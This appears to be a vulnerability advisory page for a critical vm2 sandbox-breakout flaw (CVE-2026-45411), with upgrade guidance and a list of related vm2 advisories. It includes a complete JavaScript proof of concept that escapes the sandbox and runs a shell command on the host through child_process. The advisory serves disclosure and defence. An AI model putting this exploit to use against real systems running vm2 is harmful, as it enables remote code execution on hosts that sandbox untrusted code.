CriticalGHSA-248r-7h7q-cr24CVE-2026-45411

vm2 Has a Sandbox Breakout Using Async Generator

Published 14 May 2026 · Updated 14 May 2026

Is your project on an affected vm2?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected package

vm2npm
Affected
<3.11.3
Fixed in
3.11.3
Update to the fixed version for your release line, for example:npm install vm2@3.11.3

Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

It is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield* iterator as the next value.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
class E extends Error {}
function so(d) {
	if (d > 0) so(d-1);
	const e = new E();
	e.stack;
	throw e;
}
async function* helper() {
	yield* {
		[Symbol.asyncIterator]: ()=>({
			next: v=>({value: v, done: false})
		})
	};
}
async function doCatch(f) {
	const i=helper();
	await i.next();
	const v = await i.return({then(r){f();r();}});
	return v.value;
}
(async function f() {
	let min = 0;
	let max = 10000000;
	while (min<max) {
		const mid = (min+max)>>1;
		const e = await doCatch(()=>so(mid));
		if (e.name==="RangeError" && !(e instanceof RangeError)) {
			e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
			return;
		}
		if (e instanceof E) {
			min = mid+1;
		} else {
			max = mid;
		}
	}
})();
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Is GHSA-248r-7h7q-cr24 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.

More advisories for vm2

  • CriticalCVE-2026-93605vm2 contains a sandbox escape vulnerability · 7 Oct 2026
  • CriticalCVE-2026-100721vm2: NodeVM custom resolution bypasses external path boundaries · 5 Oct 2026
  • HighCVE-2026-100722vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process · 5 Oct 2026
  • MediumCVE-2026-100723vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary · 5 Oct 2026
  • HighCVE-2026-92959vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM · 5 Oct 2026
  • CriticalCVE-2026-92955vm2: Sandbox Escape (NodeVM) · 5 Oct 2026
All 78 advisories for vm2

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.